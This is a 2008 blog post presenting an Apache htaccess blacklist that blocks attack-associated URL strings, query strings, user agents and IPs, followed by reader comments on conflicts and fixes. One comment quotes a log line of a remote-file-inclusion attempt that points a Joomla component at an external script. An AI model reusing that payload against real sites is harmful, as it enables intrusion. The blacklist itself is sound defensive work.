Jump Menu : Content | Explore | Comments | Search | Home | Sitemap | Contact | Login | Access.

Perishable Press 3G Blacklist

[ 3G Stormtroopers ]

After much research and discussion, I have developed a concise, lightweight security strategy for Apache-powered websites. Prior to the development of this strategy, I relied on several extensive blacklists to protect my sites against malicious user agents and IP addresses. Over time, these mega-lists became unmanageable and ineffective. As increasing numbers of attacks hit my server, I began developing new techniques for defending against external threats. This work soon culminated in the release of a “next-generation” blacklist that works by targeting common elements of decentralized server attacks. Consisting of a mere 37 lines, this “2G” Blacklist provided enough protection to enable me to completely eliminate over 350 blacklisting directives from my site’s root htaccess file. This improvement increased site performance and decreased attack rates, however many bad hits were still getting through. More work was needed..

The 3G Blacklist

Work on the 3G Blacklist required several weeks of research, testing, and analysis. During the development process, five major improvements were discovered, documented, and implemented. Using pattern recognition, access immunization, and multiple layers of protection, the 3G Blacklist serves as an extremely effective security strategy for preventing a vast majority of common exploits. The list consists of four distinct parts, providing multiple layers of protection while synergizing into a comprehensive defense mechanism. Further, as discussed in previous articles, the 3G Blacklist is designed to be as lightweight and flexible as possible, thereby facilitating periodic cultivation and maintenance. Sound good? Here it is:

# PERISHABLE PRESS 3G BLACKLIST

# PART I: CHARACTER STRINGS
<IfModule mod_alias.c>
 RedirectMatch 403 \:
 RedirectMatch 403 \;
 RedirectMatch 403 \<
 RedirectMatch 403 \>
 RedirectMatch 403 \/\,
 RedirectMatch 403 \/\/
 RedirectMatch 403 f\-\.
 RedirectMatch 403 \.\.\.
 RedirectMatch 403 \.inc
 RedirectMatch 403 alt\=
 RedirectMatch 403 ftp\:
 RedirectMatch 403 ttp\:
 RedirectMatch 403 \.\$url
 RedirectMatch 403 \/\$url
 RedirectMatch 403 \/\$link
 RedirectMatch 403 news\.php
 RedirectMatch 403 menu\.php
 RedirectMatch 403 main\.php
 RedirectMatch 403 home\.php
 RedirectMatch 403 view\.php
 RedirectMatch 403 about\.php
 RedirectMatch 403 blank\.php
 RedirectMatch 403 block\.php
 RedirectMatch 403 order\.php
 RedirectMatch 403 search\.php
 RedirectMatch 403 errors\.php
 RedirectMatch 403 button\.php
 RedirectMatch 403 middle\.php
 RedirectMatch 403 threads\.php
 RedirectMatch 403 contact\.php
 RedirectMatch 403 include\.php
 RedirectMatch 403 display\.php
 RedirectMatch 403 register\.php
 RedirectMatch 403 authorize\.php
 RedirectMatch 403 \/wp\-signup\.php
 RedirectMatch 403 \/classes\/
 RedirectMatch 403 \/includes\/
 RedirectMatch 403 \/path\_to\_script\/
 RedirectMatch 403 ImpEvData\.
 RedirectMatch 403 head\_auth\.
 RedirectMatch 403 db\_connect\.
 RedirectMatch 403 check\_proxy\.
 RedirectMatch 403 doeditconfig\.
 RedirectMatch 403 submit\_links\.
 RedirectMatch 403 change\_action\.
 RedirectMatch 403 send\_reminders\.
 RedirectMatch 403 comment\-template\.
 RedirectMatch 403 syntax\_highlight\.
 RedirectMatch 403 admin\_db\_utilities\.
 RedirectMatch 403 admin\.webring\.docs\.
 RedirectMatch 403 function\.main
 RedirectMatch 403 function\.mkdir
 RedirectMatch 403 function\.opendir
 RedirectMatch 403 function\.require
 RedirectMatch 403 function\.array\-rand
 RedirectMatch 403 ref\.outcontrol
</IfModule>

# PART II: QUERY STRINGS 
<ifmodule mod_rewrite.c>
 RewriteCond %{QUERY_STRING} ftp\:   [NC,OR]
 RewriteCond %{QUERY_STRING} http\:  [NC,OR]
 RewriteCond %{QUERY_STRING} https\: [NC,OR]
 RewriteCond %{QUERY_STRING} \[      [NC,OR]
 RewriteCond %{QUERY_STRING} \]      [NC]
 RewriteRule .* -                    [F,L]
</ifmodule>

# PART III: USER AGENTS
SetEnvIfNoCase User-Agent "Jakarta Commons" keep_out
SetEnvIfNoCase User-Agent "Y!OASIS/TEST"    keep_out
SetEnvIfNoCase User-Agent "libwww-perl"     keep_out
SetEnvIfNoCase User-Agent "MOT-MPx220"      keep_out
SetEnvIfNoCase User-Agent "MJ12bot"         keep_out
SetEnvIfNoCase User-Agent "Nutch"           keep_out
SetEnvIfNoCase User-Agent "cr4nk"           keep_out
<Limit GET POST PUT>
 order allow,deny
 allow from all
 deny from env=keep_out
</Limit>

# PART IV: IP ADDRESSES
<Limit GET POST PUT>
 order allow,deny
 allow from all
 deny from 75.126.85.215  "# blacklist candidate 2008-01-02 = admin-ajax.php attack "
 deny from 128.111.48.138 "# blacklist candidate 2008-02-10 = cryptic character strings "
 deny from 87.248.163.54  "# blacklist candidate 2008-03-09 = block administrative attacks "
 deny from 84.122.143.99  "# blacklist candidate 2008-04-27 = block clam store loser "
</Limit>

Installation and Usage

Before using the 3G Blacklist, check the following system requirements:

  • Linux server running Apache
  • Enabled Apache module: mod_alias
  • Enabled Apache module: mod_rewrite
  • Ability to edit your site’s root htaccess file (or)
  • Ability to modify Apache’s server configuration file

With these requirements met, copy and paste the entire 3G Blacklist into either the root htaccess file or the server configuration file. After uploading, visit your site and check proper loading of as many different types of pages as possible. For example, if you are running a blogging platform (such as WordPress), test different page views (single, archive, category, home, etc.), log into and surf the admin pages (plugins, themes, options, posts, etc.), and also check peripheral elements such as individual images, available downloads, and alternate protocols (FTP, HTTPS, etc.).

While the 3G Blacklist is designed to target only the bad guys, the regular expressions used in the list may interfere with legitimate URL access. If this happens, the browsing device will display a 403 Forbidden error. Don’t panic! Simply check the blocked URL, locate the matching blacklist string, and disable the directive by placing a pound sign ( # ) at the beginning of the associated line. Once the correct line is commented out, the blocked URL should load normally. Also, if you do happen to experience any conflicts involving the 3G Blacklist, please leave a comment or contact me directly. Thank you :)

Wrap Up..

As my readers know, I am serious about site security. Nothing gets my adrenaline pumping more than the thought of a giant meat grinder squirting out endless chunks of mangled cracker meat. Spam and other exploitative activity on the web has grown exponentially. Targeting and blocking individual agents and IP is no longer a viable strategy. By recognizing and immunizing against the broadest array of common attack elements, the 3G Blacklist maximizes resources while providing solid defense against malicious attacks.

Updates

  • 2008/05/14 — removed “RedirectMatch 403 \/scripts\/” from the first part of the blacklist due to conflict with Mint Statistics.
  • 2008/05/18 — removed the following three directives to facilitate Joomla functionality (hat tip: Don):
    RedirectMatch 403 \/modules\/
    RedirectMatch 403 \/components\/
    RedirectMatch 403 \/administrator\/
  • 2008/05/31 — removed “RedirectMatch 403 config\.php” from the first part of the list to ensure proper functionality with the “visual-editing” feature of the WordPress Admin (hat tip: Sat).

Related articles

About this article

This is article #545, posted by Jeff Starr on Tuesday, May 13, 2008 @ 11:06pm. Categorized as Websites, and tagged with apache, blacklist, htaccess, mod_rewrite, security, tips. Updated on May 31, 2008. Visited 13084 times. 23 Responses »

BookmarkTrackbackCommentSubscribeExplore

« Building the 3G Blacklist, Part 5: Improving Site Security by Selectively Blocking Individual IPs • Up • WordPress Tip: Update Email Address in the WordPress Database »


23 Responses

1 • May 14, 2008 at 3:55 am — Louis says:

This is solid gold :)

I’ve had no issue so far with the whole list past into my root .htaccess. I’ll see if it affects the administration of my blog in the futur.

Really great stuff as usual from you. The list is clean and comprehensive.

The formatting syntax with the little spaces before Redirect directives is a little strange; is it your new favorite syntax ? :d

2 • May 14, 2008 at 8:43 am — Perishable says:

Excellent, thanks for trying it out :) I did as much testing as possible (primarily via WordPress), however it is important to hear how the method works (or doesn’t) in other environments. One thing I failed to emphasize in the article series involves global noninterference. There are many possible strings to blacklist — many of which would be far more effective and efficient — but doing so would result in conflicts and errors on various platforms. Anyway, I am getting carried away here, but I am stoked that you are using 3G! (and yes, the indentation of nested directives is important — even in htaccess files ;)

3 • May 14, 2008 at 1:23 pm — Louis says:

I might be biased by the excellent post I recently read on Daringfireball — on “Why Apple won’t buy Adobe“, but it might be true in our case that making the rules generic enough so it won’t break any forum/CMS/whatever plateform, also makes the rules less relevant and powerful.

I think that it may be better to keep focused on one environnement only (i.e. Wordpress), and do a heck of a job there. We could also have different variants of the list, for different plateforms.

Anyway, that is just my opinion, as a Wordpress lover and PerishablePress reader.

About my question on indentation, it was more the fact that you are using one space to indent, instead of the classic tabulation. I wondered what did motivate this choice.

4 • May 15, 2008 at 7:24 am — Alissa Miller says:

This 3G series is great. I’ve been following all the articles and updating my .htaccess in small chunks.

Everything is working magically. I’m glad that you got the update in for the Mint fix. I was going to say something, but you beat me to it.

5 • May 15, 2008 at 8:34 am — Don says:

As always great work man! I had a quick test run with it on WP; no holes!

On joomla (1.013) though a few issues that can be resolved my removing these lines:

RedirectMatch 403 \/modules\/
RedirectMatch 403 \/components\/
RedirectMatch 403 \/administrator\/

I haven’t fully tested in Joomla though; will do when time permits. I also noticed you reduced the list of user agents. may i ask the benefits of the downsize?

6 • May 18, 2008 at 7:49 am — Perishable says:

@Louis: good point — the 3G Blacklist may very well evolve along such a trajectory in the future. For now, however, the strategy has proven general enough to protect across platforms without unintentional functional interference. Subsequent editing of 3G directives is critical for the fine-tuning of targeting specificity. This pruning process is greatly facilitated by 3G users such as Don, who continues to help test the list on the Joomla platform. OT: I think tabbed spacing in htaccess code is just too much, almost to the point of looking ridiculous ;)

7 • May 18, 2008 at 8:04 am — Perishable says:

@Alissa: Thanks for the positive feedback. I am glad that you are taking advantage of the information :) I should mention that the complete version of the 3G Blacklist (as presented in this article) contains slightly different content than presented in the series. You may want to compare the individual series chunks with the complete version, as only it will be kept current with updates and other findings. Also, good call on Mint — if anything else turns up, please let us know!

8 • May 18, 2008 at 8:36 am — Perishable says:

@Don: Thank you — list updated and credit given for the Joomla-conflicting directives. As always, thanks for your help with the Joomla testing. I look forward to hearing of any other potential issues. Actually, I have been considering removing the other three directory path patterns as well. If memory serves, their use in exploitative attacks is rarely seen outside of query strings containing full URL path information. Thus, explicitly blocking the path segments is essentially unnecessary, potentially doing more harm than good, especially given their prevalence in modern file architecture. So, I’ll hedge for now, but wouldn’t be surprised to see them disappear before the end of the month..

As for the downsizing of the user-agent blacklist, there are several benefits, including increased performance, scalability, flexibility, and relevance. Of course, 3G users are welcome to drop in a full copy of the Ultimate htaccess Blacklist or any other mega-list for that matter. For the 3G, I wanted to wipe the slate clean, give it a fresh start and add new agents on an “as-needed” basis. I could go on about it, but rather I will point you to this article for the full story.

9 • May 29, 2008 at 10:59 pm — Sat says:

Well, all of this is now implemented on a WordPress site for our company. Having tested all the features of the site, everything is still working just as great - but now with added security. Thanks Jeff!

On the admin side of things however, it appears that “RedirectMatch 403 config\.php” breaks the “visual” mode when creating/editing posts in WordPress for me. This is no big deal really, but I just wanted to confirm, if this is the case for you too, or if I missed something.

Cheers,

Sat.

10 • May 31, 2008 at 2:03 pm — Perishable says:

Thanks for the feedback, Sat. Checking into this, I did notice that the visual-editing mode seemed not to work in WordPress 2.3. I have yet to test on WordPress 2.5, but even if visual editing works in that version, breaking any WordPress-related functionality is a bad idea (especially in 2.3!). Thus, I have removed the offending rule and updated the article accordingly. Thank you for your help in improving the quality of the 3G Blacklist!
Cheers,
Jeff

11 • June 10, 2008 at 6:04 pm — Louis says:

Hi Jeff,

I couldn’t wipe out of my head what John Gruber once said about Wordpress and caching. It’s such a shame caching isn’t a part of Wordpress core.

Therefore, after giving it some time to grow, I decided to give WP-SuperCache a chance. After some tweaking, it seems to be working on my blog.

In the process, I discovered that the following line of your wonderful 3G Blacklist was causing the plugin not to serve the .html or .html.gz files.

RedirectMatch 403 \/\/

I commented it out and the rest of the blacklist seems to be okay.

I hope it helps :)

12 • June 10, 2008 at 10:07 pm — Perishable says:

Louis! Good to see you again (I was beginning to wonder if everything was okay..;)

Anyway, check out Alissa Miller’s excellent article covering the Super-Cache/3G-Blacklist conflict. Apparently, Super Cache rewrites permalinks with an extra trailing slash, thus triggering the double-forward slash block from the blacklist. Alissa documents the issue extremely well and provides an easy fix that ensures continued success with the double-forward slash filter.

Regards,
Jeff

13 • June 11, 2008 at 2:33 pm — Louis says:

Hehe, I make a really bad reader… I even can’t cheerlead :p

By the way, thank you for the link, I was an interesting read. I edited my .htaccess and it’s working fine for me too.

As I had my nose on Apache code, I changed the way I handle gzip content on my server. I used to have a somehow tricky strategy involving 3 .htaccess files et co; now I centralize everything in the root .htaccess — as it should be — and I find the code to be way better.

Here it is:

# SEND GZIPPED CONTENT TO COMPATIBLE BROWSERS
AddEncoding x-gzip .gz
AddType "text/css;charset=utf-8" .css
AddType "text/javascript;charset=utf-8" .js
RewriteCond %{HTTP:Accept-encoding} gzip
#RewriteCond %{HTTP_USER_AGENT} !Safari
RewriteCond %{REQUEST_FILENAME}.gz -f
RewriteRule ^(.*)$ $1.gz [QSA,L]

14 • June 14, 2008 at 8:35 am — Perishable says:

Glad to hear that the Blacklist is once again working fine for you. That particular rule blocks many ill requests. It is good to have it!

Interesting that you mention centralizing htaccess rules. I have been working on the very same thing. I am in the process of consolidating everything in the public web root, such that individual domains will require much less fiddling. Definitely way better ;)

Thanks also for the sweet htaccess code — looks juicy! I have seen similar directives floating around the Web, but have yet to experiment with them. As you may know, my host (ASO) recently disabled gzip compression on all servers. I am still able to deliver compressed (X)HTML content, but CSS and JavaScript are currently sent uncompressed.

15 • June 14, 2008 at 11:43 am — Louis says:

(a) Yes, it’s my favorite rule indeed, if you remember :p

(b) Managing Apache behavior should always be done in one configuration file (aka .htacces) only. As you say, it’s way easier.

(c) It is juicy, believe me. I’m using it on my main website for the moment, and boy I wish I had known it before !

It filters the browsers and serve compatible ones the .gz version of static files, and that, all over your website. That means for example, that you can gzip Wordpress admin JS & CSS files, and appreciate a tremendous boost on admin pages loading delays !

With files like prototype.js or jquery.js being used by Wordpress, and weighting around 100kb, being served a 70% lighter .gz alternative is really cool.

16 • June 15, 2008 at 10:46 am — Perishable says:

Definitely sweet, but does that mean you are responsible for manually creating and maintaining the individual zip files?

17 • June 15, 2008 at 10:57 am — Louis says:

That’s the whole idea. It only applies to file you know won’t change. You compress them manually once, then serve these .gz files to the visitors.

On-the-fly compression has its great advantages, but for static content, it’s a waste of CPU.

I wrote a full post on this on my blog, but I fear Google’s translation won’t be as appealing as my natural writing style.

Once again, langage is a true barrier :/

18 • July 23, 2008 at 9:37 pm — Tom says:

Is the 3G Blacklist supposed to replace the 2G Blacklist or can you put them both together?

19 • July 26, 2008 at 4:03 pm — Perishable says:

Hi Tom, the 3G Blacklist is meant to replace the 2G in its entirety. Running both together would be overkill..

20 • August 5, 2008 at 6:39 pm — James says:

Very nice work!! I put this script in place and have notice a significant reduction in the log files.
How would you modify this script to deny all user agents (while keeping in place an allow all IP with deny on specific IPs)? In other words, I would like to allow IP (with specific IP denials) and disallow all user agents? I’ve got a pesky problem with user agents (legit names) trying to access an exploit which no longer exists on our site. see below..

f2.d.5446.static.theplanet.com - - [06/Aug/2008:01:00:51 +0000] “GET /portal/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://www.shakershoppe.com/_files/x.txt?? HTTP/1.1″ 403 259

3G is doing a nice job of issuing 403s but I’m ready to turn off all user agents.

Keep up the GREAT WORK!!!

21 • August 6, 2008 at 12:09 pm — Jeff Starr says:

Hi James, glad to hear the blacklist is working for you :) As far as disallowing all user agents while allowing specific IPs, either I am not understanding you correctly or I am confused as to how that might work. It seems that blocking all user agents would essentially block all traffic/visitors, correct? Otherwise, the rules used to block all user agents would conflict with any list of allowed IP addresses. What am I missing here?
Regards,
Jeff

22 • August 6, 2008 at 1:49 pm — James says:

Jeff thanks very much for the quick reply and sorry about the confusion. After spending some time on the apache site, i came to the conclusion that blocking user agents (via deny) would also impact the default of deny for IPs. In otherwords apache seems to only allow one default for the typically allow, then deny

In essence blocking all user agents would essentially block all traffic/visitors. I would like to essentially deny all bots/crawlers but allow users. Is there away to do this (instead of specifying user agents to keep out - like in your PART III: USER AGENTS)?

Thanks,
James

23 • August 6, 2008 at 5:34 pm — Jeff Starr says:

Hi James, in my experience, blocking specific user agents is a moderately futile endeavor. The reason for this is that user agents are constantly changing and easily faked. Keeping an effective blacklist of user agents requires a fair amount of diligence, researching new agents, new fakes, and then checking and updating the blacklist and so on. This is precisely one of the reasons why I developed the 3G blacklist. The 3G takes a different approach by blocking the various character strings used in attacks, thereby eliminating the need for regular maintenance and, ultimately, monstrous lists of banned agents. Nonetheless, I have compiled an excellent blacklist of undesirable user agents, bad bots, scrapers, and other scumbags. It is extensive in its scope, yet not so exhaustive as to negatively affect server performance. The compressed version of the list is available here.
Regards,
Jeff

Drop a comment



Set CSS to lite theme
Set CSS to dark theme